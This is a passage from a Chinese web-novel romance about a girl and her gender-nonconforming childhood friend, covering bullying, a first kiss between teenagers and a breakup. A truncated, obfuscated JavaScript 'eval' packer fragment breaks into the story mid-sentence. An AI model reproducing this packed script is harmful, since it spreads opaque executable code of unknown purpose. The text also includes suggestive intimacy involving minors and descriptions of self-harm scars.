宋存挡在宋老二跟前,微微垂着颈子,少年单薄的身子映 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但我觉得我说得没错,现在我可不是什么小学生了,我可是初一的大孩子,之前胡海表哥初一的时候一学期就谈了三段恋爱! 我虽然不是很想谈三段恋爱,但妈妈也开始买小背心给我穿了,黄依依她上星期还来了初潮,上厕所的时候她拿出一个粉蓝色的卫生巾,给我羡慕坏了。 “我放学也让我哥给我买一个。”当时我故意装作不在乎,可黄依依听完笑得哎哟哎呦扶着洗手台才站稳。 我不明所以,但黄依依却搂着我的脖子,对我科普:“月经可是只有女孩子才会有的生理现象。宋存就怎么长得像女生,他也不是女生哦。你哥可教不来你怎么垫卫生巾。” 我和宋存不一样。 我和宋存居然不一样! 想到这我就伤心,下午的生物课和历史课我也没有好好听,直到大课间宋存来找我。他胳膊上搭着我中午脱的外套,等我走过去时,宋存弯腰帮我穿好,脸上神态平淡,就好像他天生就该像照顾智障一样照顾我。 但宋存扣到我胸口的扣子时,我弓着腰往后躲开,虽然不明显,但我的确发育了,胸部也有了起伏,妈妈说不能让任何人碰这里,尤其是男孩子。 宋存的手就僵在半空,压低眼睫,疑惑地看我。 我想了想,上前握住他的手,宋存的手指纤长,温凉,每次我都会顺着他的指节慢慢地捏。 “我现在上初中了,宋妞妞,我们不能老是腻在一块玩了。你得去找男生玩,我找女生玩,这才是正常的。” 宋存没说话,他盯着我,又缓缓抽出手指。从口袋里拿出两包饼干,宋存扔给我,唇瓣弯了弯,冷笑:“宋火火,我上初中的时候,可没说和你绝交。” 晚上宋存没等我放学,第二天也没给我煮鸡蛋,宋老二说他一大早就自己骑车走了。 到现在坐在饭店里,我和宋存已经冷战超出二十个小时。我难受死了。 “那我反悔,我就想和你玩,你是男生也好女生也好,反正我就喜欢跟宋妞妞一起玩。” 我耍无赖,弯腰将脸贴在宋存大腿上。他肌肉颤动,一瞬间慌乱地推开我。 宋存弓着腰,颊边泛红,一双眼睛潮乎乎的,含着怒气瞪我:“你怎么能随便枕男生的大腿?” “为什么不行?之前看鬼片你害怕,我还搂着你睡,你两条腿都夹着我的腰。” “就是不行,以后任何男生肚子以下的地方,你都不能随便碰。” 宋存脸上红晕更重,眼疾手快地钳住我的双手,他又郑重其事重复一遍:“当然,如果你特别想碰我的话,我允许的时候你就可以。” 宋存应该不生我的气了,过马路的时候他主动牵着我的手,到路对面时他想撒开,但我抓得很紧,扣住他的手指,宋存就没再挣扎,只是扭过来骂我:“无赖,都是惯的你。” 我们镇上的理发店有三家,两家是阿姨开的,还有一家是黄丹丹她爸开的。 黄丹丹她爸是镇上唯一一个男理发师,精心打理的红头发总是散在肩头,干活时才会用发箍拢起来。 黄丹丹她爸是个娘娘腔,镇上的人都这么说。 但我妈说黄二华手艺好,那些骂他娘娘腔的人都是小心眼,见不得别人和他们不一样。 我相信我妈,所以就领着宋存去二花理发店。 街边莉莉花店旁边新开了一家电动车专卖店,老板请了当地的戏班子唱戏,下午两点开始,老头老太太拎着马扎围着货车搭起来的简易戏台。 戏台上涂着黑脸,声音浑厚的包公扎好架势,刚亮嗓子,一句“驸马不必巧言讲,现有凭据在公堂”,台下哗啦啦掀起一片叫好声。 我也凑热闹地鼓起掌,扭头看宋存,“唱包公的黑脸是黄丹丹她妈,这个戏班都是黄丹丹她妈组起来的,是不是可厉害?” 宋存点头,目光一直望着台上,风撩着额发,遮住了他的眼睛。 那其实看不清宋存那一刻在想什么,但他牵着我的手紧了紧,好像孤独的心脏,共鸣一刹。 黄丹丹她爸见到宋存,叹了口气,摸着他的头发说:“这么好看的头发,我还真舍不得剪。” 宋存没有说话,但眼皮泛起浅浅的红,我坐在他旁边,不太理解但本能地牵住宋存的手。 “哥,你看我的头发,可短了,今年夏天我妈干活,包着头套,然后头上长了虱子。我妈就直接把头发剪短了,当时我也陪着我妈剪短了。你不是还夸我短头发很可爱吗?要不这次我再陪你剪一次嘛。” “噗,”宋存唇角弯弯,抬手揉了揉我炸毛的短发,他心甜嘴硬,拒绝我:“再剪短你就成光头了,我可不想对着一颗大灯泡说话。” 黄丹丹她爸最后也没把宋存的头发剪得太短,修饰了下轮廓,刚好露出清爽好看的眉眼。 离开前我扒着门框,巴巴望着男人酒红色的长发,不好意思开口。直到他主动蹲下身,勾头笑着问我:“想摸一下我的头发吗?今天我妻子有演出,我很高兴,霍霍你可以被允许摸一下哦。” “宋火火,你知不知道你摸完他的头发,还闻闻手,有多变态。” 宋存气冲冲地往前走,我捏着手指,还沉浸在那鲜妍、馨香以及柔软的触感之中。 我好开心,从背后扑上去搂住宋存的脖子:“好奇怪啊,宋妞妞,他叫她妻子唉,居然没叫老婆,真好听,以后我也叫你妻子。宋妞妞是我的妻子。” 路过刚才那条街,包公还在唱着《铡美案》,理发店的香气落在晚风中,丝丝缕缕吹动花翎。 宋存托着我的腰,美丽的脸上铺满晚霞。 他又拒绝我:“我是男孩子,当不了你的妻子。” “不对,宋妞妞,男孩也可以当妻子,可以留长发,可以漂亮,可以温柔。女孩呢也可以唱黑脸,可以剪短发,可以长到一米八,当然还可以娶一个像你这么好的妻子哥哥!” 宋存目光发怔,低头看着我,眼睫落下温柔的阴影。 我以为他在发呆,所以搂住他的脖子左蹦右蹦。 终于宋存弯腰,紧紧地抱住我。 “白痴,哥哥是不能成为妻子的,但宋存可以。” 宋霍,你答应我,不要爱标签下的人,请你爱鲜妍的、馨香的、柔软的、各种各样的人。 59.和冷漠男娘初恋哥断崖分手两年后(二) 04. 宋存考上高中后就开始住校,我们从每天见面变成一星期一见面。 当时我又是初三,周六周日经常性需要留校补习,最久的一次,我们隔了两星期,才在公交车上见了一面。 周日下午一点半的公交车挤满了学生,我费力地挤上车,司机在前面暴躁地吼着“往里走,快点都往里走”。 冬天我都会穿四层,一层秋衣,一层保暖衣,一层棉马甲,一层抗风的羽绒服。公交车上又很热,我贴着车门站,简直就是一颗被烤化的冰淇淋球。 我真该听我妈的,脱掉一层棉马甲,或者别把秋衣扎进秋裤里,因为我感觉真的要喘不上气了。 “宋火火,把你的脸从车门上挪开。” 宋存冰凉的手指和冷漠的语气一起落下,瞬间我好像咬碎一颗薄荷糖,五脏六腑都灌入一缕仙气。 我被他揪着领子拖到他的座位上。 “你不知道脏吗?” 宋存从书包里拿出湿巾给我擦脸,眉头皱着,黑密的眼睫遮住瞳仁。 我怀疑他在盯着我看,而且很开心,但我找不到证据。 “为什么不说话?” 我一直就仰着脸看他,宋存脸上也漫开红晕,攥着湿巾的手指湿凉,轻轻刮过我的脸。 宋存故意问:“宋火火,你是不是不认识我了?” “不想浪费时间说话,我得多看看你这张好看的脸,一会就要下车了,又得好久见不着。” 车上人太多,我又穿得厚,不好伸手搂宋存的腰,只能用围巾盖着偷偷牵他的手。 宋存脸红更深,嘴角偷偷翘起来,他想捏一下我的手腕,但摩挲时却被我摸到了胳膊上的伤口。 宋存要躲,但我手劲大,抓住他的胳膊,然后就听见宋存疼得倒抽了口凉气。 白皙的胳膊上散落着淤青和疤痕,我知道这代表着什么,我见过,胖胖的胡秀君也有一双这样的胳膊。 淤青是被鞋底踩出来的,横的疤痕要尺子和美术刀划,圆的疤痕要用烟头烫…… 我紧盯宋存的胳膊,几分钟之后,清澈的水滴落到疤痕上。我再抬头看他,宋存眼睛红了,司机急刹车,少年战栗柔软的身子扑到我怀里。 “宋火火,我不想住校,我还是想每天都和你睡在一起。怎么办?你救救我。” 车厢里漫过嘈杂的骂声,我在混乱中偷偷抱紧宋妞妞。 他在哭,所以我说:“好,以后每一天你都跟我睡。” 宋存肯定没想到我会来他的家长会,不然他就不会拧着眉头,坐在最后一排动也不敢动了。 “你来干什么?宋霍,这是家长会,你别乱来。” 我大咧咧地坐在他旁边的空位上,在周围高中生的注视下,认真地剥开一颗太妃糖塞到宋存嘴里。 “我当然知道啊,我可是你大爷的二姑姥,算你名正言顺的祖宗辈。” 宋存咬住太妃糖,没有说话,他吃东西的时候绝不说话,所以每次想堵住他的嘴,我都会剥一颗糖喂给宋妞妞。 家长会要等到下午三点开始,我来得早,一点多还没吃饭,宋存带我去小卖部吃泡面。 小卖部在东操场的后面,操场的绿荫地上有几个踢球的男生。宋存勾着头走得很快,但脏兮兮的足球还是擦着他的肩膀砸过来。 “啧啧啧,五班的花姑娘今天下楼啦?快捡起球给哥几个扔过来,一会花姑娘的球扔到谁,谁就要跟他亲嘴!” “滚你妈的,哈哈哈哈谁要跟这个娘娘腔亲嘴!” “就是,他们寝室的王贺说他晚上还会涂面霜,恶心死了。” …… 那群男生骂得很恶心,宋存原本牵着我的手缩回袖子里。他没打断把这么窘迫的一面给我看,转过身想要逃跑。 彭。 可惜,用力砸过去的球比宋妞妞逃跑的脚步更快落地。我很擅长扔沙包,所以砸过去的足球不仅准,更是狠。 “我妈说以欺负别人为乐的兔崽子们,其实本质都是无能又胆小。我原本不懂,但今天看见你们几个就懂了。” 我压根就没害怕,但宋存紧张地把我拉到身后,条件反射一般,他抬起胳膊挡住了脸。 好样的,宋妞妞。 我笑他把脸蛋看得比命都重要,但眼睛实在发酸,我笑不出来,而且推开宋存之后,我脱掉棉袄扔给他,走出去两步,我又把棉马甲给脱了,因为这是上星期我妈刚给我手工做的。 宋存还想拽我,但围墙外面的胡海还有陈波已经翻了进来,我对他们比了比手势,然后前后包抄一起把那群男生围在了足球场。 陈波是混社会的大哥,胡海表哥在建筑队练得好像两条腿走路的大象。 他俩是我叫来的,而后面翻进来的十几个暴躁老哥是胡海和陈波叫来的。 在我们小县城打群架和村里的土狗争地盘很像,总结就是不一定真的打,但数量上必须碾压。 胡海和陈波一左一右,分别架起那几个男生,把他们塞进篮球框里。 我把球递给宋存,指着篮球框里哭到流鼻涕的男生,告诉他:“你记性好,宋存,他砸了你多少次,今天趁着大家都在,你最好一次全给还回去。” 白皙的手指抱着脏兮兮的皮球,很不相衬,宋存扭头看我,眼皮褶还泛着深红。他压抑很久,也害怕很久,我看到他在抖,所以从背后揽住宋存,我的手覆在他手上。 宋存的身体陡然定住,风撩起少年的额发,一双湿红的眼睛渐渐沁光。 彭。 充满恶意的球被他张手撒开,宋存摩挲着扣住我的手,后退站在我身边。 他神色冷漠,抬起眼睫再望向球框里那些滑稽的男生,只陈述,不辩解。 “我的生活方式,个人爱好甚至外貌和你们都不一样,但这不能证明我不是男孩子。而你们对我无端的恶意与霸凌,彰显的也不是你们的优越感,而是你们狭隘又自卑。” 宋存说完又转头,看着我笑了笑,问:“宋火火,我没打回去,你是不是看不起我?” 我没点头,也没摇头,只是看着宋存好一会,直到他眼里露出慌乱,抓住我的手又紧了些。我才跳起来抱住宋妞妞。 “还是我妈说,对一个人好呢,就是给他撑腰,给他选择权,而不是操纵他,评判他。所以宋妞妞,我把球递给你,你就拥有扔不扔出去的权利。” 宋存弯腰让我抱,他在笑,但温热的眼泪打湿了我的耳朵。 “是吗?那你妈可真好。” “嗯呐。”我开心地晃来晃去。 宋妞妞兜着我,又说:“你也很好,宋火火。” 不对,你是属于我的最好,宋霍。 下午三点的家长会没开成,但我们也没有被叫办公室。 高二的年级主任武爱萍揪住我往大门口送,而胡海陈波他们则被命令原路返回翻墙出去。 “小君说你来参观学校,我还早来半个小时准备带你逛逛校园,结果你围攻操场打群架!” “这可不是打群架,这是帮你们学校教育学生,以免他们之后流入社会引起动荡。” 宋存紧张地拉着我,但见我顶嘴,大概猜出来我和武爱萍应该认识,他稍微放下心,但还是牵住我的手一路跟到学校门口。 胡秀君刚上完跆拳道课在等我,看到她妈教训我,噔噔瞪跑过来挤在我们中间。 “妈,你别说宋霍,她好,不许你说她。你要不还是骂我吧。” “小君,阿姨是在和我讨论我家宋存走读的事情呢。” 我扒住秀君的肩膀朝武爱萍笑,身后宋妞妞也挨过来挽住我的胳膊。 武爱萍摇头,无奈地笑:“我本来今天来就是要帮你办这件事,但霍霍你带一群社会上的混子翻墙进学校,还把那几个男生塞到篮球框里教训。太过了。” “哪里过了,妈,球没砸在自己身上,永远不知道有多疼。而且我也认识你说的那些社会上的混子,他们不坏,他们是学习不好,但不是人品不好。” 胡秀君是个挺面的小姑娘,但和家人沟通时往往控制不住情绪。我赶紧捏了捏她的耳朵,然后对武爱萍解释:“阿姨,之前小君在学校被欺负,也是陈波他们去帮忙的,他是我妈厂子里带的徒弟,家里穷才没上学。” “我,可是小君从来没告诉我啊。” “大人有大人的不容易,小孩也有小孩的顾虑。主任,我们的事情就交给我们自己解决。而且相比如偏激的反抗手段,先遏制霸凌的源头不是更紧迫吗?” 宋存平静地指出问题,一圈细密的眼睫遮掩着瞳仁中的羡慕。 他挺羡慕胡秀君的,即使武爱萍不是一个能很好解决女儿成长问题的妈妈。 但宋妞妞还是羡慕,因为至少武爱萍在反思、在不断修复爱。可宋妞妞的妈妈,很久不爱他。 宋存办理好了走读的手续,下午六点半,我们又能一起坐公交车回家了。 冬天傍晚的公交车人还是很多,但这次刚好有两个座位,我们头挨着头缩在温暖的角落。 车窗外的灯光斑斓溢彩,静谧地淌过宋存的眉眼间。 宋存剥开一颗太妃糖喂给我,然后轻轻展开皱巴巴的糖纸,贴在傍晚绚烂的车窗上。 “宋火火,你妈有没有告诉过你,为什么会有人要欺负别人呢?他们到底想要从别人的痛苦中获得什么呢?” “小君也问过我这个问题,宋妞妞,当时我没给出答案,只是告诉她去锻炼身体吧。后来胖胖的不爱说话的胡秀君去练铅球,打排球,练跆拳道……现在她已经是个强壮的小姑娘了,欺负过她的那些人,男的女的,全都消失不见了。” 宋存靠过来笑,光影透过玻璃和糖纸映在我眼窝里。 “我大概知道你想说什么了。” 人潮拥挤,光影温柔,我拿过玻璃上的糖纸挡在眼前,注视着流光溢彩的他。 “宋妞妞,这次不是我妈说,这次是我说,我说——不要分析风为什么来、雨为什来,不要分析恶人的恶意。你要做一朵花,但努力生出繁茂的根系扎在土里;你要做一棵树,就张开结实的枝干撑起天幕;你要做你自己,就做一个心灵富饶、身体强壮的你。” 05. 宋老二病了,宋存要被他妈接到南方生活。 知道这个消息,宋老二还在笑呵呵地拍着我的脑袋让我剥橘子,但我把橘子砸到宋存身上。 我知道自己在乱发脾气,但我还是决定再也不和宋存好了。 他是叛徒,叛徒是宋妞妞。 “宋老二照顾宋存那么久,现在他生病了,宋存却要跟他妈走,他没良心,我不要理他了。” “说实话。” 我妈被宋存守在门口守得后背发凉,于是宋娟女士把我从被窝里薅出来谈心。 “宋妞妞说好要跟我玩一辈子,现在他要跟他妈去南方,他背叛我。” 宋娟刚下班,弯腰在洗手池梳着头发上沾到的面粉,“宋霍,第一,宋老二生病需要的治疗费还有生活费,一直都是宋存的妈妈在负担。所以你不能拿偏见的眼光去看宋存妈妈。既然有的妈妈会选择奉献家庭,那就应该有妈妈去选择奉献事业啊。她只是生了孩子,又不是卖身。” 宋娟女士说的有道理,我有点脸红,走到洗手池旁给她接温水。 “第二,宋存马上就要高三,高考肯定是要回到学籍所在地,这是不可抗力的原因。你不能怪他。而且,宋霍,只有小孩子才会轻易的约定一辈子,因为他们没有概念。你现在已经是高一的大孩子了,要冷静点,聪明点,好吗?” 宋娟女士教育我重新做人,然后她去卧室睡觉了。 我走到门口,宋存还站在那等,天已经黑了,他白得像将开未开的茉莉花。 “对不……” “别不要我。” 宋存的眼泪比我的道歉先落地,很奇怪,那一刻我意识到我爱宋存。 是爱情的爱。 我看着他哭,眼泪打湿好看的脸,宋存向来早熟,和我们其他孩子不一样,他礼貌疏离,温柔克制,我总认为他习惯于忍受痛苦和孤独。 但现在,宋存弯腰,一点一点在我脸上落下潮湿颤抖的亲吻。 “宋霍,不要对不起,我要你要我,爱我,不放弃我。” “你闭着眼干什么?你害怕我这个样子吗?” “我觉得……我,我有点呼吸不上来。” 廉价黑裙的粗糙布料摩挲着我的大腿,宋存捏住我的脸不许躲开。 他弯腰的时候我闻到一阵香气,然后他亲了亲我的眼皮,我谨慎地睁开眼,看见了昏昏月色下的少年,美如神。 “宋妞妞,我给你五块钱,你再亲一下我的嘴。” 我胡乱地翻着校服口袋,宋存摁住我的手腕,没忍住笑出声,他涂了树莓色是唇釉,低头时沾到几缕发丝。 好想,想用舌头帮宋妞妞挑开。 “五块钱?宋火火,你去食堂吃碗牛肉面都要十块了。” 宋存的唇瓣摩挲过我的脸,甜腻的香气袭来,我心里痒痒的,手指缠住他的发丝,可怜地求他:“给我亲一口吧,宋妞妞,你不给我亲,还能给谁亲啊。” “我还能给谁亲?宋霍,除了你,我都没对别人笑过。我可不像你,好朋友一茬一茬的,没定性。” 泄愤似的,宋存轻拍一下我的脸,但下一秒就被我捉住手指给亲了亲。宋存脸红,跨坐在我腿上轻声笑:“你好变态啊。” 手伸到宋存裙子下面,扶住他的大腿,我点头:“一般变态吧,主要是为了配你。” “坏东西。”宋存抚着我的脸,柔软的嘴唇贴近,我先是吻到宋存的香气,然后是他的发丝,最后才是他的唇瓣。 我的嘴唇也涂上他的唇釉,树莓红晕开拖曳出暧昧的水渍,这是初吻,所以我问宋存:“亲嘴了,然后呢?你,你是不是要张开嘴让我舌……” “话多了你。” 宋存张嘴咬住我的嘴唇,但就轻轻一下,他俯身张开唇瓣,整个人都露出一种为爱沉沦的软弱可欺。 我勾住他的唇舌,他圈住我的身体,发丝散落,情意摇晃。 那晚亲完之后,我挣扎着下床,告诉宋存我要回家去睡。 他嘴唇艳红水润,下唇点着一颗被咬破的伤口。 “你留下来睡我也不会骂你。”宋存拍了拍枕头。 我膝盖软,但撑着门框,我拒绝:“宋妞妞,我们现在还没成年,不管是留下来睡觉,还是留下来睡你,都不可以。” “滚!” 枕头砸过来,宋存裙摆凌乱,亲吻时被我撩到腰间,廉价的黑色布料遮掩不住雪白的双腿和起伏。 我深呼吸,没忍住,跑到床边捏住宋妞妞的脸又亲了一口,在他反应过来咬我之前,我跑得飞快,还替他关上了门。 “你等着,宋妞妞,我长大之后第一件事就是睡你!等着!” 06. 我的初恋男友是宋存,细算一下,我们的恋爱,好像只存在于一个被我忘记密码的企鹅号,还有一个寒假和一个暑假。 后来大学室友蒋雪分析:“按你这描述来说,宝宝,你不是谈了个恋爱,你这是线下见了个主播啊。” 我高二的那年,宋存考上大学,学校在南方沿海的城市,坐火车要十八个小时。 宋妞妞坐过四趟绿皮火车来找我,我只坐过一次,回来后就告诉他:“我不要跟你谈恋爱了,宋存,你装得时间长了可别把自己给骗进去了。” 打完最后半段话,我又给删掉,最后只发给他一句——宋存,我不要和你谈恋爱了。 后续是我注销了企鹅号,我不想看宋存的回复。我见过很多爱情破裂的大人,我妈不避讳这些,她告诉我的是即使不爱了,也不要在最后说尽狠话,毕竟那也是你曾经满心欢喜亲吻过的人。 我不确定宋存会不会骂我,他这个人说实话心眼挺小。 我和宋存谈恋爱的时候,年纪都很小。每次坐十几个小时的火车见面后,他明明笑得眼尾翘起来,却不好意思说我想你。 有时候在学校后门,他隔着铁栏杆给我塞零食,等到集合上课,宋存才会招招手,等我贴近后弯腰摸摸我的脸。 北方冬天的夜晚,我冷漠克制的初恋哥,呼出一口白汽,眨眼朝我笑:“快回去吧,我就在这等你上晚自习。” 宋存说过他喜欢陪我放学走过的那段路,我告诉他:“这段路根本没什么,宋妞妞,只是十八个小时的火车旅程加重了你的思念,所以现在你才会觉得双倍的幸福。” “谁想你?” 宋存别过脸反驳,我跳起来搂他的脖子,宋存弯腰笑出声,他也抱住我,脸埋在我的颈窝。长长地舒了口气,宋存声音沙哑又疲惫:“好吧,宋霍,我承认,我确实想你想得,都有些难过了。” 最后一次是我去见宋存,他到车站接我,刚见面就问:“宋火火,马上高三,你们学校没有组织补课吗?” 把书包扔给他,我揉了揉肩膀,车站人群拥挤,南方的夏天潮热又喧闹。 我感到呼吸好黏重,但看到宋存的脸,总归还是开心。 “啧,宋妞妞,看来大两岁真的大很多啊,你现在说话像一个老男人。” “我老?你,你瞎了吧。”宋存生气,本来是牵着我,然后就改成抓住我的手臂。他余光愠怒,剜我一眼:“你知道学校有多少人追我吗?” “不想知道。” “宋火火,你到叛逆期了是不是?好,你有种,一会到宾馆你别摸我。” 走在宋存身后,我的笑容就淡了。一团疑云压在我心头,直到回宾馆后,宋存去洗澡,再推门他穿了一件红黑色的绸缎吊带裙,续到肩膀的头发半湿,发梢微翘。他也染成了酒红色,气息同我记忆里一样馨香。 “宋存,你看G.V.吗?” 我躺在床上打滚,卷着被子把自己裹得只剩脑袋。宋存皱眉,走到床边,弯腰又把我身上的被子一层层剥开:“我不看,但你要是敢看的话,宋火火,现在就给我滚下床去。” 噢,但你好像是个同性恋。 宋存跪坐在我身边,皮肤洇出潮湿的香气,他指尖温凉,一点点刮过我的脸:“坐一晚上火车,我想着你就累了,下午就睡一觉,然后晚上我带你去学校食堂吃牛肉粉。很好吃的,我怕卖完,特意嘱咐窗口的大叔留出来一碗给你尝尝。” “谢谢你。”我拽着枕头背过身睡,窗户上映出宋存模糊的影子,他伸出手,想要碰我,但怔松片刻,还是迟疑地缩了回去。 宋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“大妹子,你要不先看看我再胡扯呢?” 楚烁越生气,最后我买了那件黑旗袍,又帮他挑了那件红裙子。拎着两袋衣服追上他后,我才解释:“我刚才在想我男朋友,他和你很像,也喜欢化妆还有裙子。对了,他还有一头很漂亮的长头发,等见面了,你肯定会喜欢他。” 疯了。 这是那天楚烁越对我的评价,疯了,宋霍,你谈的是gay啊你! 楚烁越带我去网吧,给我看男同交友的网站,又发帖问,每条评论都很直白——收手吧,大妹子,你这初恋哥的零气都溢出屏幕了。 “楚烁越,那有没有可能,宋存是gay,但他就是喜欢我这个人呢,不管是男生还是女生,他就是喜欢我。” “漂亮,我追直男的时候也是这么想的,结果呢?”楚烁越晃了晃他手腕上的刀疤,叹气:“宋霍,你和他从小一起长大,可能是他把依赖和爱情搞混了。这很正常,但是他比我们大两岁,他已经是成年人了,很快就会明白过来。到时候……” “到时候他就会坐上别的男人的副驾。” 我还有心情玩梗,但一低头,抓住楚烁越的手,我难受地哭出来。 “谈恋爱真复杂,我妈也没说过长发男这么危险啊呜呜呜呜……” 宋存说过很多人喜欢他,我同意,但也没想到很多人里面还包括他的老师。 四十多岁的男人,面容儒雅周正,举止也风度翩翩,而且最重要的,他有家室, “看来你就是阿存提到过的小女朋友,还在上高二对吗?你知道早恋是不对的吧?” 我挑着碗里的牛肉粉,睁大眼睛看着对面的老登,反问:“老畜生,那你知不知道骗婚更无耻啊。” “我和阿存之间的事情,我没告诉过别人,也就因为阿存说过对不起你,所以我才擅自坦白。至于我妻子,你又怎么知道她会不会心甘情愿被骗一辈子呢?” 男人噙着笑,一副稳坐钓鱼台的从容模样,说完他从公文包里掏出一个袋子,塞给我后提醒:“上次过夜阿存落在我家的东西,你替我转交给他吧。当然,小朋友可不要私自拆开看哦。” 老畜生。 我不用拆开就能知道那袋东西是什么,那包装和牌子,就是楚烁越提过很多次的同性小玩具。一想到这,我恨不得把这东西丢出去。但宋存端着冰豆花和红糖糍粑正走过来,我下意识就把袋子塞进包里。等他坐下来后,我的心还在怦怦跳。 “你不喜欢吃牛肉粉吗?算了,可能是南方的口味不适应吧,那你尝尝红糖糍粑。” 宋存端走我面前的牛肉粉,接过筷子自己开始吃。周围一直朝这边看的几个女生坐过来,把她们没有动过的小酥肉端给我,笑吟吟开口问:“那个、那个宋存,这是你妹妹吗?好可爱。晚上九点半在南苑操场有露天演唱会,你可以带着妹妹一起去看。” 说完的女生递来两张票,宋存皱眉,只瞟一眼,便搅了搅碗里的粉,拒绝:“她晚上九点多要补作业。” “哥你帮我写作业不就好了,我自己拿票去看演唱会。” 拿过女生手里的票,看着她们开心起来,我忍不住笑,但下一秒手里的票就被宋存抢走。 他就坐在我旁边,身子微微侧向我,一只手捏着我的胳膊,眼睫微压,宋存明显克制着怒气,“宋霍,我不管你是不是叛逆期,但从见面开始你不是第一次找理由避免和我单独相处了。怎么?你长大了,觉得我恶心了?” “还有,”宋存目光掠向对面惊诧的同学,语气平静地纠正:“宋霍不是我妹妹,她还是还没有长大的女朋友。” 我们最后还是去看了演唱会。 从食堂出来后,我跟宋存道歉,牵住他的手,我说:“我这次来找你,做了十八个小时的火车,而且只能待三天,回家后就要答应我妈去补习班上半个月的课。宋妞妞,别把时间浪费在吵架上,直接跳过程序,你现在就原谅我吧。” 宋存气笑了,俯身捏住我的脸,一点都没收着手劲:“宋火火,我发现你真的很自信,你怎么就觉得吵架的结局就一定是我原谅你呢?” “不是啊,还有一种结局是我不原谅你。但我今晚打算原谅你,所以礼尚往来,你当然应该原谅我。” “你……”宋存气得脸都红了,我赶紧搂住他的腰,一只手抚着他的脊背,“我不好,我不好,但现在已经七点多了,宋存,我们吵架浪费了一个小时。” “我原谅你,宋霍。” 几乎没有迟疑,宋存嘴角一弯,眼里的愠怒忽而化成恶劣的勾引。他慢条斯理地抬起手递到我唇边,蜜糖般的光影淌过少年指尖。 宋存说:“亲一下我的手背,今晚我就原谅你。” 那晚的露天演唱会到底在唱什么,我记不太清了。 倒是宋存生气时说的那些话,我听得清楚。 他说:“看到前面那对情侣在亲吻吗?宋霍,你为什么不愿意亲我?” “你在说什么啊?” 我真的怀疑宋存在找茬逼我先分手,怎么以前没发现他这么易怒又敏感吗?当然,以前大概他就是这样,只不过当时爱他,就愿意承受他一切的坏脾气。 宋存起身往外走,不顾我在后面追,他脚步飞快,一直到商店旁边,昏昏欲睡的老板趴在柜台上,电视里还在播相亲节目。 他站在商店门口等我,手里拿着一杯冰可乐,指尖哒哒地瞧着易拉罐。等我走进,宋存才抬眼,眼尾很红,显然哭过,但表情还是冷漠克制。 “你没有亲我,从我们见面,宋霍,十五个小时,你没有亲我。本来我还可以劝自己说你累了,或者人多你害羞,但刚才演唱会就是最好的机会,你还是没亲我。” “我不知道你很在意这个,之前每次都是我主动亲你,我觉得你并不是很喜欢和我亲吻,宋存,你有没有可能只是迁就我?或者说你害怕失去我这个好朋友,所以牺牲自己的爱情拴住我?” “好朋友,嗤……”宋存冷笑,泪珠毫无征兆地掉下来,声音里甚至带了几分恨意,他说:“谁要做你的好朋友,宋火火,你好朋友那么多,我才不稀罕去凑热闹。” 这就是了,我想,宋存只是占有欲很强,对友情也是。他想要做我唯一的朋友,于是就把浓烈的友情冠上爱情的名义。 宋存想要用爱情的排他性来保障自己是我独一无二的朋友,真蠢啊,损人不利己。 我拿过他手里的冰可乐,拉开易拉罐的瞬间,泡沫溢到手上,指缝黏腻,又散发着糖浆的味道。 晚上十点,老板关上了灯,宋存周身阴影重重叠叠。他只有一双眼睛明亮,饱含恨意地望着我。 我舍不得和他挑明,也懒得解释。只不过再看着宋存漂亮的脸,我忽然就很遗憾。两年前那个分开的夜晚,忍住没有亲他就好了。 不然也不会像现在这样,爱情不是爱情,友情也没有退路。 “还是做朋友好,宋妞妞,做朋友至少都坦荡。” 那晚的可乐没喝,走回宾馆的路上,杯壁渐渐凝出细密的水珠,宋存脸上也是。 他一声不吭地掉眼泪,走得又快,不想回头看到我。 “宋霍,你不要我了,对吗?” 夜深后躺到床上,宋存的香气攀上我的肌肤,发丝散开铺满枕头,也黏在我脸上。 “我会继续对你好的,宋存,不管什么身份,我都希望你好。” “可是宋火火,”他翻过身,背对着我,苍白单薄的脊背颤抖,发丝蜿蜒而上,像月下的裂痕。 宋存最后和我说的一句话是——宋火火,如果你不承认你爱我,你就再也不会见到我。 我好不了的。 60.第 60 章 07. 我有两年没见宋存,刚见面就害他一头撞到棺材上。 想来,我可能真的是他的祸害。 宋老二下葬之后,我妈招呼宋存还有宋存妈妈到我家吃饭。 她特意炖了鱼头,替我向宋存道歉。 我和宋存围着灶台坐,听我妈和宋存妈聊天的间隙,我烘了两个红薯,用铁钳扒拉出来,拍拍灰之后递给宋存。 “我记得你是喜欢吃烤红薯,对吧。” “以前很喜欢,这两年太久不吃,已经不喜欢了。” 宋存礼貌地避开,甚至同时扭头朝看过来的大人们笑了笑。 我头疼,他好记仇。 “哈哈,那你不吃,我就吃两个吧,刚好我饿了。” 我扭到一边,朝着门口扒红薯,吃完第一个之后,噎得实在不行。我跺了跺脚想引起我妈的注意,但她和宋存妈聊得正火热。 不得已攥住拳头往下咽,我快要翻白眼了,然后一杯水递过来。 端着杯子的手白皙又干净,宋存指尖总沾着香气,不耐烦地举了举水杯,他说:“快点和喝啊,你可别死我面前。” 好毒的一张嘴,好美的一张脸。 宋妞妞,你这样真的让我怀疑自己是M啊。 饭桌上我妈和宋存妈还在聊,我盛了半碗鱼汤,正一点点掰着饼子往里泡。 宋存妈忽然问:“对了霍霍,高考你怎么没报南方的大学呀,我记得那年宋存特意给你妈妈打过电话啊,还推荐了好多南方不错的学校跟专业,你的成绩完全可以闭眼挑。” 铛,身旁宋存的筷子掉到桌上。我惊讶地看着他,因为皮肤太白,此刻脸和脖子迅速地红成一片。 “这孩子高一的时候还说一定要考小存的学校,然后高二又变心说什么再也不去南方了。最后不是报了个北边的学校。每年冬天都冻得嗷嗷哭。” 宋娟女士毫不留情地把我给戳破,而身旁的宋存听到“变心”,嗤地冷笑一声,夹起一块带刺的鱼肉扔到我碗里。 宋存笑意温柔:“冷点好呀,天冷了人就没力气说胡话了,是不是,宋霍?” 漫长的晚饭时间结束,我被留下来刷锅洗碗,我妈和宋存妈去泡澡堂子,家里就剩下我和宋存。 我能听见他在客厅看电视,从厨房抬头就能看到客厅窗户上映出的清瘦人影。 刷碗刷得心不在焉,不一会楚烁越又打来语音电话,我刚接通,对面就传来他鬼哭狼嚎的声音。 “霍霍你说我还能去找她吗?我真的不是故意的,我是怕说出来我之前是gay,她会嫌我脏……我真的以为我是喜欢男生的,可不一样,她出现之后就不一样。我……我喜欢被她支配,宋霍,我甚至迷恋在床上时她欺负我的……” 